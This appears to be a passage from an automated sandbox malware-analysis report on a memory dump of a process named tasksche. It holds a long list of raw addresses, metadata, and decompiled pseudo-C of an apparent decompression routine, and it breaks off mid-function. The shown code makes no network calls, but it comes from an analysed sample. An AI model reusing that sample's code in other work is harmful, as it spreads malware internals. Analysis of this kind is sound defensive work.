0x00000000
0x00418a16
0x00418a1d
0x00418a1e
0x00418a21
0x00418a23
0x00418a27
0x00418a2e
0x00418a34
0x00418a39
0x00418a41
0x00418a43
0x00418a43
0x00418a46
0x00418a46
0x00418a4c
0x00418a55
0x00418a5b
0x00418a61
0x00418a66
0x00418a67
0x00418a6a
0x00418a6f
0x00418a71
0x00418a77
0x00418a7a
0x00418a7c
0x00418aa1
0x00418aa1
0x00418aa7
0x00418aad
0x00418ab0
0x00418ab8
0x00418abe
0x00418ac4
0x00418ac8
0x00418acc
0x00418acc
0x00418a7e
0x00418a7e
0x00418a80
0x00000000
0x00000000
0x00418a82
0x00418a88
0x00418a8a
0x00418a8f
0x00418a94
0x00418a99
0x00418a99
0x00000000
0x00418a7c
0x00418791
0x00418796
0x0041879a
0x0041879c
0x004187aa
0x004187aa
0x004187ac
0x00000000
0x00000000
0x004187a4
0x004187a6
0x004187a7
0x004187a7
0x004187a7
0x004187b0
0x004187b3
0x004187b8
0x004187be
0x004187c3
0x004187ca
0x004187f7
0x004187f8
0x004187f9
0x004187fb
0x00418815
0x00418818
0x0041881f
0x00418825
0x00418830
0x00418835
0x0041883c
0x00418842
0x00418844
0x00418844
0x00418844
0x00418846
0x0041884e
0x00418855
0x0041885d
0x0041885e
0x00418861
0x00418864
0x00418866
0x0041886a
0x00418871
0x00418877
0x0041887c
0x0041887f
0x00418887
0x00418889
0x00418889
0x0041888c
0x0041888c
0x0041888f
0x0041889a
0x0041889d
0x004188a3
0x004188a6
0x004188a9
0x004188ab
0x004189c2
0x004189c2
0x004189c4
0x00000000
0x00000000
0x004189ca
0x004189d0
0x004189d6
0x004189d9
0x004189e1
0x004189e7
0x004189ed
0x004189f1
0x004189f5
0x004189f5
0x00000000
0x004188b1
0x004188b1
0x004188b3
0x00000000
0x00000000
0x004188b9
0x004188bf
0x004188c2
0x004188c5
0x004188c9
0x004188cc
0x004188cf
0x004188d2
0x00418920
0x00418923
0x0041894c
0x0041894c
0x00418950
0x00418956
0x0041895c
0x0041895f
0x00418961
0x00418967
0x0041896e
0x00418971
0x00418977
0x0041897e
0x00418981
0x00418987
0x0041898e
0x00418991
0x00418997
0x0041899e
0x004189a1
0x004189a7
0x004189ae
0x004189b1
0x004189ba
0x004189ba
0x004189b1
0x004189a1
0x00418991
0x00418981
0x00418971
0x00418961
0x00000000
0x00418950
0x00418928
0x00418928
0x0041892b
0x0041892e
0x00418934
0x00418939
0x0041893d
0x00418941
0x00418944
0x00418947
0x00418947
0x00418947
0x00418947
0x00000000
0x0041892e
0x004188d4
0x004188d7
0x00000000
0x00000000
0x004188d9
0x004188d9
0x004188dc
0x004188de
0x004188e0
0x004188e2
0x004188e6
0x004188eb
0x004188f1
0x004188f7
0x004188fd
0x00418903
0x00418909
0x0041890c
0x0041890f
0x00418912
0x00418915
0x00418918
0x00418918
0x00418918
0x0041891b
0x00000000
0x0041891b
0x004188ab
0x004187fd
0x00418804
0x00418804
0x00418806
0x00000000
0x00000000
0x00418808
0x00418809
0x0041880c
0x0041880f
0x00000000
0x00000000
0x00000000
0x00418811
0x00418813
0x00000000
0x00418813
0x004187ce
0x004187d1
0x004187db
0x004187e3
0x004187e8
0x004187eb
0x00000000
0x004187eb
0x00418676
0x00418679
0x0041867b
0x00000000
0x00000000
0x00418681
0x00418687
0x0041868c
0x00418694
0x0041869a
0x0041869c
0x00418747
0x00418747
0x0041874b
0x00000000
0x00000000
0x00418751
0x00418757
0x0041875d
0x00418760
0x00418768
0x0041876e
0x00418774
0x00418778
0x0041877c
0x0041877c
0x00000000
0x00418781
0x004186a2
0x004186a4
0x00000000
0x00000000
0x004186aa
0x004186b0
0x004186b3
0x004186b6
0x004186ba
0x004186bd
0x004186c0
0x004186c3
0x00418715
0x00418718
0x004185f6
0x004185f6
0x004185f9
0x004185fb
0x00000000
0x00000000
0x00418601
0x0041802c
0x0041802c
0x0041802e
0x00418030
0x00418033
0x00418039
0x0041803c
0x0041803f
0x00418042
0x00418048
0x0041804b
0x0041804e
0x00418051
0x00418057
0x0041805a
0x0041805d
0x00418060
0x00418066
0x00418069
0x0041806c
0x0041806f
0x00418075
0x00418078
0x0041807b
0x0041807e
0x00418087
0x00418087
0x0041807e
0x0041806f
0x00418060
0x00418051
0x00418042
0x00000000
0x00418033
0x0041871e
0x0041871e
0x00418721
0x00418724
0x0041872a
0x0041872f
0x00418733
0x00418737
0x0041873a
0x0041873d
0x0041873d
0x0041873d
0x0041873d
0x00000000
0x00418742
0x004186c5
0x004186c8
0x00000000
0x00000000
0x004186d0
0x004186d0
0x004186d3
0x004186d5
0x004186d7
0x004186db
0x004186e0
0x004186e6
0x004186ec
0x004186f2
0x004186f8
0x004186fe
0x00418701
0x00418704
0x00418707
0x0041870a
0x0041870d
0x0041870d
0x0041870d
0x004185c5
0x004185c5
0x00000000
0x004185c5
0x00418661
0x00417ed9
0x00417edb
0x00000000
0x00417ee1
0x00000000
0x00417ee1
0x00417edb
0x0041864e
0x00000000
0x0041864e
0x004182d1
0x004182d8
0x004182db
0x004182de
0x004182e1
0x004182e3
0x004182e7
0x004182ee
0x004182f9
0x004182fc
0x00418304
0x00418306
0x00418306
0x00418309
0x00418309
0x0041830e
0x00418313
0x00418319
0x0041831e
0x00418325
0x00418352
0x00418353
0x00418356
0x00418358
0x00418372
0x00418375
0x0041837c
0x00418382
0x0041838d
0x00418392
0x00418399
0x0041839f
0x004183a1
0x004183a1
0x004183a1
0x004183a3
0x00000000
0x004183a3
0x0041835a
0x00418361
0x00418361
0x00418363
0x00000000
0x00000000
0x00418365
0x00418366
0x00418369
0x0041836c
0x00000000
0x00000000
0x00000000
0x0041836e
0x00418370
0x00000000
0x00418327
0x00418329
0x0041832c
0x00418336
0x0041833e
0x00418343
0x00418346
0x004183ab
0x004183ab
0x004183b9
0x004183ba
0x004183bd
0x004183c0
0x004183c2
0x0041850a
0x0041850a
0x00418510
0x00418512
0x00418515
0x0041851b
0x0041851d
0x0041851d
0x0041851d
0x0041851d
0x0041851b
0x00418523
0x0041852c
0x00418532
0x00418538
0x0041853b
0x0041853e
0x00418541
0x00418546
0x00418548
0x0041854e
0x00418551
0x00418553
0x00418609
0x00418609
0x0041860d
0x00000000
0x00000000
0x00418613
0x00418619
0x0041861f
0x00418622
0x0041862a
0x00418630
0x00418636
0x0041863a
0x0041863e
0x0041863e
0x00000000
0x00418559
0x00418559
0x0041855b
0x00000000
0x00000000
0x00418561
0x00418567
0x0041856a
0x0041856d
0x00418571
0x00418574
0x00418577
0x0041857a
0x004185ca
0x004185cd
0x00000000
0x00000000
0x004185d2
0x004185d2
0x004185d5
0x004185d8
0x004185de
0x004185e3
0x004185e7
0x004185eb
0x004185ee
0x004185f1
0x004185f1
0x004185f1
0x004185f1
0x00000000
0x004185d8
0x0041857e
0x0041857f
0x00418581
0x00000000
0x00000000
0x00418583
0x00418583
0x00418586
0x00418589
0x0041858b
0x0041858d
0x00418590
0x00418595
0x0041859b
0x004185a1
0x004185a7
0x004185ad
0x004185b3
0x004185b6
0x004185b9
0x004185bc
0x004185be
0x004185c0
0x004185c0
0x004185c0
0x004185c0
0x00000000
0x0041858b
0x00418553
0x004183c8
0x004183cb
0x004184e5
0x004184ec
0x004184f2
0x004184f7
0x004184ff
0x00418501
0x00418501
0x00418504
0x00418507
0x00418507
0x00000000
0x00418507
0x004183d1
0x004183d4
0x004183d8
0x004183df
0x004183e4
0x004183ec
0x004183f8
0x004183fa
0x004183fc
0x004183fc
0x004183ff
0x004183ff
0x00418402
0x00418408
0x0041840a
0x00418420
0x00418425
0x0041842b
0x00418430
0x00418437
0x00418462
0x00418463
0x0041846a
0x0041846d
0x00418488
0x0041848b
0x00418495
0x00418497
0x0041849d
0x004184a7
0x004184ac
0x004184b3
0x004184b9
0x004184bb
0x004184bb
0x004184bb
0x004184bd
0x004184c5
0x004184c5
0x004184c8
0x004184d9
0x004184db
0x00000000
0x004184db
0x004184ca
0x00000000
0x004184ca
0x0041846f
0x00418476
0x00418476
0x00418478
0x00000000
0x00000000
0x0041847a
0x0041847b
0x0041847e
0x00418481
0x00000000
0x00000000
0x00000000
0x00418483
0x00418485
0x00000000
0x00418485
0x0041843b
0x0041843e
0x00418448
0x00418450
0x00418455
0x00418458
0x00000000
0x0041840c
0x0041840c
0x0041840c
0x0041840d
0x00418413
0x00418413
0x00000000
0x00418413
0x0041840a
0x00418325
0x004182ac
0x004182af
0x004182b2
0x004182b2
0x00000000
0x004182b2
0x0041824c
0x00418253
0x00418253
0x00418255
0x00000000
0x00000000
0x00418257
0x00418258
0x0041825b
0x0041825e
0x00000000
0x00000000
0x00000000
0x00418260
0x00418262
0x00000000
0x00418262
0x0041821b
0x0041821e
0x00418228
0x0041822d
0x00418230
0x00418235
0x00418238
0x00000000
0x00418238
0x00417eb0
0x00417eb5
0x00418ae5
0x00418aea
0x00418aea
0x00418aea
0x00000000
0x00418aea
0x00417ec1
0x004181ed
0x004181f6
0x00000000
0x004181f6
0x00417ec9
0x00417ed0
0x00417ee6
0x00417ee9
0x00000000
0x00000000
0x00417eef
0x00417ef2
0x00000000
0x00000000
0x00417ef8
0x00417efb
0x00417f06
0x00417f09
0x004180ce
0x004180d1
0x00000000
0x00000000
0x004180d9
0x004180de
0x004180e1
0x00000000
0x00000000
0x004180f0
0x004180f3
0x004180f6
0x004180f9
0x004180ff
0x00418101
0x004181ae
0x004181ae
0x004181b2
0x00000000
0x00000000
0x004181b8
0x004181be
0x004181c4
0x004181c7
0x004181cf
0x004181d5
0x004181db
0x004181df
0x004181e3
0x004181e3
0x00000000
0x004181e8
0x00418107
0x00418109
0x00000000
0x00000000
0x0041810f
0x00418115
0x0041811a
0x0041811d
0x00418122
0x00418125
0x00418128
0x00418179
0x0041817c
0x00000000
0x00000000
0x00418185
0x00418185
0x00418188
0x0041818b
0x00418191
0x00418196
0x0041819a
0x0041819e
0x004181a1
0x004181a4
0x004181a4
0x004181a4
0x004181a4
0x00000000
0x004181a9
0x0041812a
0x0041812d
0x00000000
0x00000000
0x00418133
0x00418136
0x00418136
0x00418139
0x0041813b
0x0041813f
0x00418144
0x0041814a
0x00418150
0x00418156
0x0041815c
0x00418162
0x00418165
0x00418168
0x0041816b
0x0041816e
0x00418171
0x00418171
0x00418171
0x00000000
0x00417f0f
0x00417f0f
0x00417f0f
0x00417f11
0x00417f14
0x00417f17
0x00417f17
0x00417f1b
0x00000000
0x00000000
0x00417f23
0x00417f28
0x00417f2b
0x00417f33
0x00417f37
0x00417f3a
0x00417f44
0x00417f44
0x00417f3c
0x00417f3c
0x00417f3c
0x00417f2d
0x00417f2d
0x00417f2d
0x00417f46
0x00417f49
0x00417f4d
0x00000000
0x00417f4f
0x00417f4f
0x00417f53
0x00000000
0x00000000
0x00417f5c
0x00417f62
0x00417f62
0x00417f65
0x00417f6a
0x00417f6c
0x00417f75
0x00417f7b
0x00417f7d
0x0041808f
0x0041808f
0x00418093
0x00418099
0x0041809f
0x004180a5
0x004180a8
0x004180b0
0x004180b6
0x004180bc
0x004180c0
0x004180c4
0x004180c4
0x004180c9
0x00000000
0x00418093
0x00417f83
0x00417f85
0x00000000
0x00000000
0x00417f8b
0x00417f91
0x00417f94
0x00417f97
0x00417f9b
0x00417f9e
0x00417fa1
0x00417fa4
0x00417ff2
0x00417ff5
0x0041801e
0x0041801e
0x00418021
0x00418023
0x00000000
0x00418029
0x00418029
0x00000000
0x00418029
0x00417ff7
0x00417ffa
0x00417ffa
0x00417ffd
0x00418000
0x00418006
0x0041800b
0x0041800f
0x00418013
0x00418016
0x00418019
0x00418019
0x00418019
0x00418019
0x00000000
0x00418000
0x00417ff5
0x00417fa6
0x00417fa9
0x00417fad
0x00417fad
0x00417fb0
0x00417fb2
0x00417fb4
0x00417fb8
0x00417fbd
0x00417fc3
0x00417fc9
0x00417fcf
0x00417fd5
0x00417fdb
0x00417fde
0x00417fe1
0x00417fe4
0x00417fe7
0x00417fea
0x00417fea
0x00417fea
0x00417fed
0x00417fed
0x00417fed
0x00000000
0x00417fa9
0x00417f4d
0x00000000
0x00417f17
0x00417efd
0x00417eff
0x00000000
0x00417eff
0x00417ed2
0x00417ed4
0x00000000
0x00417ed4
0x00417e5e
0x00417e60
0x00417e65
0x00417e6b
0x00417e71
0x00418afc
0x00418afc
0x00418afc
0x00417e77
0x00417e8b
0x00417e92
0x00418ad6
0x00000000
0x00418ad6
0x00000000
0x00417e92
0x00417e79
0x00417e85
0x00000000
0x00000000
0x00000000
0x00417e85
0x00417e58
0x00418af1
0x00000000
0x00418af3
0x00417dee
0x00417df5
0x00417dfc
0x00000000
0x00000000
0x00417e06
0x00417e13
0x00417e1a
0x00000000
0x00000000
0x00417e1a
0x00000000
0x00417d8d
0x00417d8d
0x00417d90
0x00417d92
0x00417d92
0x00417d9b
0x00417d9e
0x00417da7
0x00417dae
0x00417db2
0x00417db5
0x00417dba
0x00417dbd
0x00417dbd
0x00417dc0
0x00417dca
0x00417dcb
0x00417dcb
0x00417dce
0x00417dce
0x00417dbd
0x00417dd3
0x00417dd4
0x00000000
0x00417d92

APIs

_memset.LIBCMT ref: 00417DB5

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction ID: ca8e397051957a2ab45e24d4035287d6273771f133136d8253d7927585564b75
Opcode Fuzzy Hash: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction Fuzzy Hash: 5692D5709087859FCB29CF34C4D06E9BBF1AF55308F18C5AED8968B342D738A985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414946 Relevance: 2.0, APIs: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00414946(void* __ebx, intOrPtr __ecx, signed int _a4) {
				signed char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				signed int* _v28;
				intOrPtr _v32;
				signed char _v36;
				signed int _v40;
				signed int _v44;
				signed char _v48;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t214;
				intOrPtr _t215;
				signed int _t216;
				signed int _t217;
				signed int _t219;
				unsigned int _t220;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				unsigned int _t227;
				signed int _t230;
				signed int _t231;
				signed int _t236;
				unsigned int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int* _t249;
				signed int _t250;
				signed int _t257;
				unsigned int _t258;
				signed int _t261;
				signed int _t262;
				signed int* _t267;
				unsigned int _t268;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				unsigned int _t274;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				unsigned int _t280;
				signed int _t287;
				unsigned int _t288;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				void* _t302;
				void* _t303;
				signed int* _t306;
				signed int* _t307;
				signed int _t311;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				intOrPtr* _t319;
				signed int _t320;
				signed int _t321;
				intOrPtr _t327;
				signed int* _t328;
				signed int _t331;
				void* _t333;
				signed int _t338;
				void* _t340;
				signed char _t344;
				void* _t347;
				intOrPtr* _t351;
				void* _t352;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				unsigned int _t365;
				void* _t367;
				signed char _t370;
				void* _t373;
				signed int _t378;
				unsigned int _t380;
				void* _t382;
				void* _t384;
				signed int _t387;
				void* _t390;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t402;
				signed short _t403;
				intOrPtr* _t405;
				void* _t406;
				signed int _t409;
				signed int _t415;
				signed int _t416;
				signed int _t420;
				signed int _t421;
				signed int _t427;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				intOrPtr* _t436;
				signed int _t441;
				intOrPtr* _t443;

				_t303 = __ebx;
				_t441 = _a4;
				_v32 = __ecx;
				if( *((char*)(_t441 + 0x2c)) != 0) {
					L3:
					_t214 =  *((intOrPtr*)(_t441 + 0x18));
					_t443 = _t441 + 4;
					__eflags =  *_t443 -  *((intOrPtr*)(_t441 + 0x24)) + _t214;
					if( *_t443 <=  *((intOrPtr*)(_t441 + 0x24)) + _t214) {
						 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) & 0x00000000;
						_t17 = _t214 - 1; // -1
						_t215 =  *((intOrPtr*)(_t441 + 0x20)) + _t17;
						_t327 =  *((intOrPtr*)(_t441 + 0x4acc)) - 0x10;
						__eflags = _t215 - _t327;
						_v16 = _t215;
						_v20 = _t327;
						_v12 = _t215;
						if(_t215 >= _t327) {
							_v12 = _t327;
						}
						_push(_t303);
						while(1) {
							_t214 =  *_t443;
							__eflags = _t214 - _v12;
							if(_t214 < _v12) {
								goto L15;
							}
							L9:
							__eflags = _t214 - _v16;
							if(__eflags > 0) {
								L97:
								goto L98;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t214 - _v20;
								if(_t214 < _v20) {
									L14:
									__eflags = _t214 -  *((intOrPtr*)(_t441 + 0x4acc));
									if(_t214 >=  *((intOrPtr*)(_t441 + 0x4acc))) {
										L96:
										 *((char*)(_t441 + 0x4ad3)) = 1;
										goto L97;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t441 + 0x4ad2));
								if( *((char*)(_t441 + 0x4ad2)) == 0) {
									goto L96;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t441 + 8)) -  *((intOrPtr*)(_t441 + 0x1c));
							if( *((intOrPtr*)(_t441 + 8)) >=  *((intOrPtr*)(_t441 + 0x1c))) {
								goto L97;
							}
							goto L12;
							L15:
							_t328 = _t441 + 0x4adc;
							_t216 =  *_t328;
							__eflags =  *(_t441 + 0x4ad8) - _t216 - 8;
							if(__eflags > 0) {
								_t295 = _t216 + _t216;
								 *_t328 = _t295;
								_push(_t295 * 0xc);
								_t307 = _t441 + 0x4ad4;
								_push( *_t307);
								_t297 = E0041A594(_t307, _t441, _t443, __eflags);
								 *_t307 = _t297;
								__eflags = _t297;
								if(_t297 == 0) {
									E004063CE(0x4335ac);
								}
							}
							_t217 =  *(_t441 + 0x4ad8);
							_t306 = _t217 * 0xc +  *(_t441 + 0x4ad4);
							_v28 = _t306;
							 *(_t441 + 0x4ad8) = _t217 + 1;
							_t219 = E0040978C(_t443);
							_t415 =  *(_t441 + 0xb4);
							_t220 = _t219 & 0x0000fffe;
							__eflags = _t220 -  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4));
							if(_t220 >=  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4))) {
								_t416 = _t415 + 1;
								_a4 = 0xf;
								__eflags = _t416 - 0xf;
								if(_t416 >= 0xf) {
									L26:
									_t331 =  *(_t443 + 4) + _a4;
									 *_t443 =  *_t443 + (_t331 >> 3);
									_t419 = _a4;
									 *(_t443 + 4) = _t331 & 0x00000007;
									_t333 = 0x10;
									_t223 = (_t220 -  *((intOrPtr*)(_t441 + 0x30 + _a4 * 4)) >> _t333 - _a4) +  *((intOrPtr*)(_t441 + 0x74 + _t419 * 4));
									__eflags = _t223 -  *((intOrPtr*)(_t441 + 0x30));
									if(_t223 >=  *((intOrPtr*)(_t441 + 0x30))) {
										_t223 = 0;
										__eflags = 0;
									}
									_t224 =  *(_t441 + 0xcb8 + _t223 * 2) & 0x0000ffff;
									goto L29;
								}
								_t405 = _t441 + 0x34 + _t416 * 4;
								while(1) {
									__eflags = _t220 -  *_t405;
									if(_t220 <  *_t405) {
										break;
									}
									_t416 = _t416 + 1;
									_t405 = _t405 + 4;
									__eflags = _t416 - 0xf;
									if(_t416 < 0xf) {
										continue;
									}
									goto L26;
								}
								_a4 = _t416;
								goto L26;
							} else {
								_t406 = 0x10;
								_t294 = _t220 >> _t406 - _t415;
								_t409 = ( *(_t294 + _t441 + 0xb8) & 0x000000ff) +  *(_t443 + 4);
								 *_t443 =  *_t443 + (_t409 >> 3);
								 *(_t443 + 4) = _t409 & 0x00000007;
								_t224 =  *(_t441 + 0x4b8 + _t294 * 2) & 0x0000ffff;
								L29:
								__eflags = _t224 - 0x100;
								if(_t224 >= 0x100) {
									__eflags = _t224 - 0x106;
									if(_t224 < 0x106) {
										__eflags = _t224 - 0x100;
										if(_t224 != 0x100) {
											__eflags = _t224 - 0x101;
											if(_t224 != 0x101) {
												 *_t306 = 3;
												_t306[2] = _t224 + 0xfffffefe;
												_t226 = E0040978C(_t443);
												_t420 =  *(_t441 + 0x2d78);
												_t227 = _t226 & 0x0000fffe;
												__eflags = _t227 -  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4));
												if(_t227 >=  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4))) {
													_t421 = _t420 + 1;
													_a4 = 0xf;
													__eflags = _t421 - 0xf;
													if(_t421 >= 0xf) {
														L88:
														_t338 =  *(_t443 + 4) + _a4;
														 *_t443 =  *_t443 + (_t338 >> 3);
														_t424 = _a4;
														 *(_t443 + 4) = _t338 & 0x00000007;
														_t340 = 0x10;
														_t230 = (_t227 -  *((intOrPtr*)(_t441 + 0x2cf4 + _a4 * 4)) >> _t340 - _a4) +  *((intOrPtr*)(_t441 + 0x2d38 + _t424 * 4));
														__eflags = _t230 -  *((intOrPtr*)(_t441 + 0x2cf4));
														if(_t230 >=  *((intOrPtr*)(_t441 + 0x2cf4))) {
															_t230 = 0;
															__eflags = 0;
														}
														_t231 =  *(_t441 + 0x397c + _t230 * 2) & 0x0000ffff;
														L91:
														__eflags = _t231 - 8;
														if(_t231 >= 8) {
															_t344 = (_t231 >> 2) - 1;
															_v8 = _t344;
															_t236 = ((_t231 & 0x00000003 | 0x00000004) << _t344) + 2;
															_a4 = _t236;
															__eflags = _t344;
															if(_t344 > 0) {
																_t237 = E0040978C(_t443);
																_t347 = 0x10;
																_a4 = _a4 + (_t237 >> _t347 - _v8);
																_t240 =  *(_t443 + 4) + _v8;
																 *_t443 =  *_t443 + (_t240 >> 3);
																_t241 = _t240 & 0x00000007;
																__eflags = _t241;
																 *(_t443 + 4) = _t241;
																_t236 = _a4;
															}
														} else {
															_t236 = _t231 + 2;
														}
														L95:
														_t306[1] = _t236;
														while(1) {
															_t214 =  *_t443;
															__eflags = _t214 - _v12;
															if(_t214 < _v12) {
																goto L15;
															}
															goto L9;
														}
													}
													_t351 = _t441 + 0x2cf8 + _t421 * 4;
													while(1) {
														__eflags = _t227 -  *_t351;
														if(_t227 <  *_t351) {
															break;
														}
														_t421 = _t421 + 1;
														_t351 = _t351 + 4;
														__eflags = _t421 - 0xf;
														if(_t421 < 0xf) {
															continue;
														}
														goto L88;
													}
													_a4 = _t421;
													goto L88;
												}
												_t352 = 0x10;
												_t242 = _t227 >> _t352 - _t420;
												_t355 = ( *(_t242 + _t441 + 0x2d7c) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t355 >> 3);
												 *(_t443 + 4) = _t355 & 0x00000007;
												_t231 =  *(_t441 + 0x317c + _t242 * 2) & 0x0000ffff;
												goto L91;
											}
											 *_t306 = 2;
											while(1) {
												_t214 =  *_t443;
												__eflags = _t214 - _v12;
												if(_t214 < _v12) {
													goto L15;
												}
												goto L9;
											}
										}
										_push( &_v48);
										E00414290(_v32, _t443);
										_t306[1] = _v48 & 0x000000ff;
										_t306[2] = _v44;
										_t358 = 4;
										 *_t306 = _t358;
										_t427 =  *(_t441 + 0x4ad8);
										_t249 = _t427 * 0xc +  *(_t441 + 0x4ad4);
										 *(_t441 + 0x4ad8) = _t427 + 1;
										 *_t249 = _t358;
										_t249[1] = _v36 & 0x000000ff;
										_t249[2] = _v40;
										while(1) {
											_t214 =  *_t443;
											__eflags = _t214 - _v12;
											if(_t214 < _v12) {
												goto L15;
											}
											goto L9;
										}
									}
									_t250 = _t224 + 0xfffffefa;
									__eflags = _t250 - 8;
									if(_t250 >= 8) {
										_t311 = (_t250 >> 2) - 1;
										_v8 = ((_t250 & 0x00000003 | 0x00000004) << _t311) + 2;
										__eflags = _t311;
										if(_t311 > 0) {
											_t288 = E0040978C(_t443);
											_t398 = 0x10;
											_v8 = _v8 + (_t288 >> _t398 - _t311);
											_t291 =  *(_t443 + 4) + _t311;
											 *_t443 =  *_t443 + (_t291 >> 3);
											_t292 = _t291 & 0x00000007;
											__eflags = _t292;
											 *(_t443 + 4) = _t292;
										}
									} else {
										_v8 = _t250 + 2;
									}
									_v24 = _v8;
									_t257 = E0040978C(_t443);
									_t429 =  *(_t441 + 0xfa0);
									_t258 = _t257 & 0x0000fffe;
									__eflags = _t258 -  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4));
									if(_t258 >=  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4))) {
										_t312 = 0xf;
										_t363 = _t429 + 1;
										__eflags = _t363 - _t312;
										if(_t363 >= _t312) {
											L48:
											_t365 =  *(_t443 + 4) + _t312;
											 *(_t443 + 4) = _t365 & 0x00000007;
											 *_t443 =  *_t443 + (_t365 >> 3);
											_t367 = 0x10;
											_t261 = (_t258 -  *((intOrPtr*)(_t441 + 0xf1c + _t312 * 4)) >> _t367 - _t312) +  *((intOrPtr*)(_t441 + 0xf60 + _t312 * 4));
											__eflags = _t261 -  *((intOrPtr*)(_t441 + 0xf1c));
											if(_t261 >=  *((intOrPtr*)(_t441 + 0xf1c))) {
												_t261 = 0;
												__eflags = 0;
											}
											_t262 =  *(_t441 + 0x1ba4 + _t261 * 2) & 0x0000ffff;
											goto L51;
										}
										_t436 = _t441 + 0xf20 + _t363 * 4;
										while(1) {
											__eflags = _t258 -  *_t436;
											if(_t258 <  *_t436) {
												break;
											}
											_t363 = _t363 + 1;
											_t436 = _t436 + 4;
											__eflags = _t363 - 0xf;
											if(_t363 < 0xf) {
												continue;
											}
											goto L48;
										}
										_t312 = _t363;
										goto L48;
									} else {
										_t392 = 0x10;
										_t287 = _t258 >> _t392 - _t429;
										_t395 = ( *(_t287 + _t441 + 0xfa4) & 0x000000ff) +  *(_t443 + 4);
										 *_t443 =  *_t443 + (_t395 >> 3);
										 *(_t443 + 4) = _t395 & 0x00000007;
										_t262 =  *(_t441 + 0x13a4 + _t287 * 2) & 0x0000ffff;
										L51:
										__eflags = _t262 - 4;
										if(_t262 >= 4) {
											_t315 = (_t262 >> 1) - 1;
											_a4 = ((_t262 & 0x00000001 | 0x00000002) << _t315) + 1;
											__eflags = _t315;
											if(_t315 <= 0) {
												L70:
												_t432 = _a4;
												__eflags = _t432 - 0x100;
												if(_t432 <= 0x100) {
													_t370 = _v24;
												} else {
													_t370 = _v8 + 1;
													__eflags = _t432 - 0x2000;
													if(_t432 > 0x2000) {
														_t370 = _t370 + 1;
														__eflags = _t432 - 0x40000;
														if(_t432 > 0x40000) {
															_t370 = _t370 + 1;
														}
													}
												}
												_t267 = _v28;
												 *_t267 = 1;
												_t267[1] = _t370;
												_t267[2] = _t432;
												while(1) {
													_t214 =  *_t443;
													__eflags = _t214 - _v12;
													if(_t214 < _v12) {
														goto L15;
													}
													goto L9;
												}
											}
											__eflags = _t315 - 4;
											if(__eflags < 0) {
												_t268 = E00412AEB(_t443);
												_t373 = 0x20;
												_a4 = _a4 + (_t268 >> _t373 - _t315);
												_t271 =  *(_t443 + 4) + _t315;
												 *_t443 =  *_t443 + (_t271 >> 3);
												_t272 = _t271 & 0x00000007;
												__eflags = _t272;
												 *(_t443 + 4) = _t272;
												goto L70;
											}
											if(__eflags > 0) {
												_t280 = E00412AEB(_t443);
												_t390 = 0x24;
												_a4 = _a4 + (_t280 >> _t390 - _t315 << 4);
												_t320 =  *(_t443 + 4) + _t315 - 4;
												 *_t443 =  *_t443 + (_t320 >> 3);
												_t321 = _t320 & 0x00000007;
												__eflags = _t321;
												 *(_t443 + 4) = _t321;
											}
											_t273 = E0040978C(_t443);
											_t316 =  *(_t441 + 0x1e8c);
											_t274 = _t273 & 0x0000fffe;
											__eflags = _t274 -  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4));
											if(_t274 >=  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4))) {
												_t433 = 0xf;
												_t378 = _t316 + 1;
												__eflags = _t378 - _t433;
												if(_t378 >= _t433) {
													L65:
													_t380 =  *(_t443 + 4) + _t433;
													 *(_t443 + 4) = _t380 & 0x00000007;
													 *_t443 =  *_t443 + (_t380 >> 3);
													_t382 = 0x10;
													_t277 = (_t274 -  *((intOrPtr*)(_t441 + 0x1e08 + _t433 * 4)) >> _t382 - _t433) +  *((intOrPtr*)(_t441 + 0x1e4c + _t433 * 4));
													__eflags = _t277 -  *((intOrPtr*)(_t441 + 0x1e08));
													if(_t277 >=  *((intOrPtr*)(_t441 + 0x1e08))) {
														_t277 = 0;
														__eflags = 0;
													}
													_t278 =  *(_t441 + 0x2a90 + _t277 * 2) & 0x0000ffff;
													goto L68;
												}
												_t319 = _t441 + 0x1e0c + _t378 * 4;
												while(1) {
